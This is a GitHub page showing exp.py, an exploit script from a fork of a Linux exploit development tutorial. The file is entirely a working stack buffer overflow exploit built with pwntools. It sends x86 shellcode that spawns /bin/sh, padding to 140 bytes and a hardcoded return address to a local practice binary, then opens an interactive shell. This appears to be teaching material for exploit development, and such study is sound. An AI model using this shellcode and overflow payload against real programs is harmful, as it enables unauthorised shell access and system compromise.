forked from hardenedlinux/linux-exploit-development-tutorial
-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathexp.py
More file actions
11 lines (10 loc) · 310 Bytes
/
exp.py
File metadata and controls
11 lines (10 loc) · 310 Bytes
1
2
3
4
5
6
7
8
9
10
11
#!/usr/bin/env python
from pwn import *
p = process('./level1')
ret = 0xffffcf90
shellcode = "\x31\xc9\xf7\xe1\x51\x68\x2f\x2f\x73"
shellcode += "\x68\x68\x2f\x62\x69\x6e\x89\xe3\xb0"
shellcode += "\x0b\xcd\x80"
payload = shellcode + 'A' * (140 - len(shellcode)) + p32(ret)
p.send(payload)
p.interactive()